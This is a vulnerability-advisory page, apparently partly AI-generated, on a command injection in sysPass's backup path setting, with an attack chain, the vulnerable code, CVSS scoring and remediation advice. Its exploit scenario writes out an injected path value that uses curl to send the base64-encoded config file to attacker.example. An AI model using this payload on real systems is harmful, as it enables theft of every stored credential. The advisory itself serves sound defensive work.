Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain sysPass admin credentials via phishing or reuse
-
DeliveryAuthenticate to admin API or UI
-
ExploitWrite shell metacharacters into backup path configuration
-
ExecutionTrigger backup operation via API or UI
-
PersistPHP exec() executes injected OS command as www-data
-
ImpactRead master key and decrypt entire credential vault
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires valid sysPass administrator credentials - either an active admin UI session cookie or a provisioned admin API token. The attacker must be able to write to the backup path configuration setting (via the admin settings API endpoint or admin UI) and subsequently trigger a backup operation. The injection point is the value interpolated into the --exclude argument of the tar command; any shell metacharacter (semicolon, backtick, dollar-sign subshell, pipe) embedded in the configured path value will be interpreted by the shell. Exploitation is constrained by: (1) admin-level authentication required - no path to exploitation for non-admin authenticated users or unauthenticated attackers; (2) PHP's exec() must not be listed in disable_functions in php.ini - default PHP installations have exec() enabled; (3) the backup operation must be triggered after the malicious path is stored. No special operating system configuration, non-default sysPass feature, or specific platform variant is required beyond a default sysPass deployment with an accessible admin interface. |
| Impact | The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) scores 8.6 and accurately represents the mechanics: network-accessible exploitation with low complexity, but gated behind high privileges. The PR:H requirement is the primary risk limiter and must be weighted heavily - this is not a zero-authentication exposure. However, the downstream risk is asymmetrically severe: a single compromised admin credential translates directly into decryption of every credential in the vault, making the blast radius disproportionate to the entry cost. A public proof-of-concept exists at the referenced gist, which elevates the practical exploitability beyond the PR:H barrier - an attacker with stolen admin credentials faces near-zero technical effort. EPSS data was not provided in the available intelligence set; KEV status is not confirmed. This vulnerability is a genuine priority for any organization running sysPass with admin access exposed over the network, even if the raw CVSS score slightly overstates risk compared to truly unauthenticated flaws. |
| Exploit ScenarioDerived | An attacker who has obtained sysPass administrator credentials - through phishing, credential stuffing against a reused password, or lateral movement from a previously compromised host - authenticates to the admin API and sets the backup path to a value such as /tmp/x"; curl http://attacker.example/exfil?d=$(cat /var/www/syspass/config/config.xml | base64 -w0); echo ". On the next backup operation trigger, PHP exec() processes the injected payload, causing the web server process (typically www-data) to exfiltrate the sysPass configuration file containing the master encryption key. A public proof-of-concept demonstrating this technique is available at the referenced gist. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 06, 2026
Command injection in sysPass's backup service allows any authenticated administrator to execute arbitrary OS commands as the web server process user by storing shell metacharacters in the backup path configuration setting and triggering a backup operation. Because sysPass is a self-hosted password manager, successful exploitation grants direct read access to the master encryption key and entire credential vault, enabling mass credential disclosure and lateral movement to every system whose passwords are stored in sysPass. A public proof-of-concept is available via the referenced gist (https://gist.github.com/W40X/6747ba1b7da7bb69b0c0e162628df279); no CISA KEV listing was identified at time of analysis.
RemediationAI
No vendor-released patched version has been confirmed from the provided intelligence; patch availability must be verified directly against the sysPass GitHub repository at https://github.com/nuxsmin/sysPass, specifically looking for commits that apply escapeshellarg() to $this->path in lib/SP/Services/Backup/FileBackupService.php. Until a patch is applied, immediately audit and revoke any admin API tokens that are not strictly necessary, since token holders can exploit this without UI interaction. Restrict network access to the sysPass admin interface and settings API to a trusted management VLAN or localhost only, removing the remote attack surface while preserving local admin capability. Configure the sysPass web server process to run as a dedicated low-privilege system user with no shell access and minimal filesystem permissions, so that injected commands execute with the least possible capability. Setting PHP's disable_functions directive to include exec would block exploitation of this specific vector but will also break the backup feature entirely - evaluate this trade-off against operational requirements. Do not expose the sysPass admin interface directly to the internet under any circumstances.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
sysPass is a self-hosted PHP password manager (https://github.com/nuxsmin/sysPass). The vulnerability resides in lib/SP/Services/Backup/FileBackupService.php at approximately line 388 within the doBackupFiles() method. The method constructs a tar shell command via direct string concatenation, embedding the $this->path configuration value - read from the database - directly into the command string as: 'tar czf ' . $backupFileApp . ' ' . BASE_PATH . ' --exclude "' . $this->path . '" 2>&1'. This concatenated string is then passed to PHP's exec() with no application of escapeshellarg() or escapeshellcmd() and no allowlist validation of safe characters. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause class. Because the backup path is a persisted configuration value writable through both the admin UI and admin settings API, any admin-level principal can pre-position the malicious value and detonate it at will by triggering a backup job.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Admin authentication required (PR:H), network-accessible admin interface (AV:N), trivial post-auth exploitation (AC:L), full CIA impact on sysPass host with no scope change in base metrics.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
DescriptionCVE.org
sysPass's FileBackupService::doBackupFiles() in lib/SP/Services/Backup/FileBackupService.php around line 388 builds a tar shell command by string-concatenating the backup directory path $this->path directly into the command line ('tar czf ' . $backupFileApp . ' ' . BASE_PATH . ' --exclude \"' . $this->path . '\" 2>&1') and passes the result to PHP's exec() with no application of escapeshellarg() and no validation of the path against a safe character set. The $this->path value is read from the sysPass configuration, which is persisted in the database and writable through the admin settings API and the admin UI. An administrator (or an attacker who has obtained an admin API token or admin session) can therefore store a backup path containing shell metacharacters and trigger a backup operation to execute arbitrary OS commands as the web server process user (typically www-data or apache). Because sysPass is a password manager whose sole purpose is to hold credentials for other systems, code execution as the web-server user permits reading sysPass's master password and encryption key from memory or configuration files, decrypting every stored credential in the database, exporting the entire password vault, pivoting to internal systems using the disclosed credentials, and installing persistent backdoors on the password-manager host.
Executive ViewAI
sysPass, a self-hosted password vault serving as a central credential repository, can be exploited by compromised administrator accounts to expose all stored passwords across the organization. This threatens every system whose credentials are managed through sysPass, transforming a security tool into an organizational liability until remediated.
Restrict sysPass administrative access to essential personnel only; disable backup functionality if operationally feasible; implement network-layer controls to prevent the sysPass service process from initiating connections to other systems; enable verbose audit logging for all administrator actions; conduct immediate review of all administrator account activity; prepare accelerated migration to alternative password management platform.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-54210
GHSA-cqxp-cq56-pxvr
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB